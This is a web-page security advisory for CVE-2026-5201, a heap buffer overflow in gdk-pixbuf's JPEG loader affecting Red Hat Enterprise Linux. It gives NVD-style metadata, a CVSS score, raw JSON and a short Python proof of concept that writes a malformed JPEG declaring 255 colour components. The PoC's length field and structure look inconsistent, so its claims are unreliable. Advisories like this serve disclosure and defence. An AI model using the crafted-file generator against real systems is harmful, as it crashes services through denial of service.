Security Vulnerability Report
中文
CVE-2026-5201 CVSS 7.5 HIGH

CVE-2026-5201

Published: 2026-03-31 09:16:23
Last Modified: 2026-05-21 04:16:32

Description

A flaw was found in the gdk-pixbuf library. This heap-based buffer overflow vulnerability occurs in the JPEG image loader due to improper validation of color component counts when processing a specially crafted JPEG image. A remote attacker can exploit this flaw without user interaction, for example, via thumbnail generation. Successful exploitation leads to application crashes and denial of service (DoS) conditions.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:gnome:gdk-pixbuf:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:* - VULNERABLE
gdk-pixbuf (具体受影响版本请参考Red Hat安全公告 RHSA-2026:10707, RHSA-2026:10708等)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct # PoC for CVE-2026-5201: gdk-pixbuf Heap Overflow # This script generates a malformed JPEG file with invalid color components. def generate_malformed_jpeg(filename): # JPEG Start of Image (SOI) marker jpeg_data = b'\xff\xd8' # Start of Frame (SOF0) marker - Baseline DCT jpeg_data += b'\xff\xc0' # Length field (includes length field itself but not marker) # Standard SOF0 length is 8 + 3 * components. # We construct a length that might confuse the parser if component count is invalid. jpeg_data += struct.pack('>H', 11) jpeg_data += b'\x08' # Precision (8 bits per sample) jpeg_data += struct.pack('>H', 100) # Image Height jpeg_data += struct.pack('>H', 100) # Image Width # Number of components (Nf). Valid values are usually 1 (Grayscale) or 3 (YCbCr). # The vulnerability is triggered by improper validation of this value. # Setting a high value (e.g., 255) can cause the buffer overflow during processing. jpeg_data += b'\xff' # Invalid number of components # End of Image (EOI) marker jpeg_data += b'\xff\xd9' with open(filename, 'wb') as f: f.write(jpeg_data) print(f"[+] Malformed JPEG generated: {filename}") print("[+] Use this file to trigger the vulnerability in a vulnerable gdk-pixbuf version.") if __name__ == "__main__": generate_malformed_jpeg("cve_2026_5201_poc.jpg")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5201", "sourceIdentifier": "[email protected]", "published": "2026-03-31T09:16:23.440", "lastModified": "2026-05-21T04:16:31.760", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in the gdk-pixbuf library. This heap-based buffer overflow vulnerability occurs in the JPEG image loader due to improper validation of color component counts when processing a specially crafted JPEG image. A remote attacker can exploit this flaw without user interaction, for example, via thumbnail generation. Successful exploitation leads to application crashes and denial of service (DoS) conditions."}, {"lang": "es", "value": "Se encontró un fallo en la biblioteca gdk-pixbuf. Esta vulnerabilidad de desbordamiento de búfer basado en montículo ocurre en el cargador de imágenes JPEG debido a una validación incorrecta del recuento de componentes de color al procesar una imagen JPEG especialmente diseñada. Un atacante remoto puede explotar este fallo sin interacción del usuario, por ejemplo, a través de la generación de miniaturas. La explotación exitosa conduce a bloqueos de la aplicación y condiciones de denegación de servicio (DoS)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnome:gdk-pixbuf:-:*:*:*:*:*:*:*", "matchCriteriaId": "66105200-1A98-42B1-B0DB-012B0CC1C0CB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "F4CFF558-3C47-480D-A2F0-BABF26042943"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "D65C2163-CFC2-4ABB-8F4E-CB09CEBD006C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux_server_aus:8.2:*:*:*:*:*:*:*", "matchCriteriaId": "6897676D-53F9-45B3-B27F-7FF9A4C58D33"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux_server_aus:8.4:*:*:*:*:*:*:*", "matchCriteriaId": "E28F226A-CBC7-4A32-BE58-398FA5B42481"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux_server_tus:8.8:*:*:*:*:*:*:*", "matchCriteriaId": "F1CA946D-1665-4874-9D41-C7D963DD1F56"}]}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:10707", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:10708", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:10741", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:11325", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:11326", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:11327", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:11328", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:11806", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:12060", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:12061", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:12062", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:12114", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:12115", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:16008", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:16009", "source": "[email protected]"}, {"url": "h ... (truncated)